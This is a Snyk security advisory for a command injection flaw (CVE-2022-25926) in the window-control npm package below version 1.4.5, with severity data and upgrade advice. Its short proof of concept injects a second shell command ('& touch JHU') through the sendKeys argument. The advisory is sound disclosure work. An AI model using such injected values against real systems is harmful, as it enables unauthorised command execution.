Command Injection Affecting window-control package, versions <1.4.5


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

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  • Snyk IDSNYK-JS-WINDOWCONTROL-3186345
  • published4 Jan 2023
  • disclosed2 Jan 2023
  • creditJHU System Security Lab

Introduced: 2 Jan 2023

CVE-2022-25926  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade window-control to version 1.4.5 or higher.

Overview

window-control is a package aimed to do similar tasks as robot.js (without mouse control) but without the compiling of external C++ code.

Affected versions of this package are vulnerable to Command Injection via the sendKeys function, due to improper input sanitization.

PoC

var root =require("window-control")
root.sendKeys("& touch JHU","")

CVSS Scores

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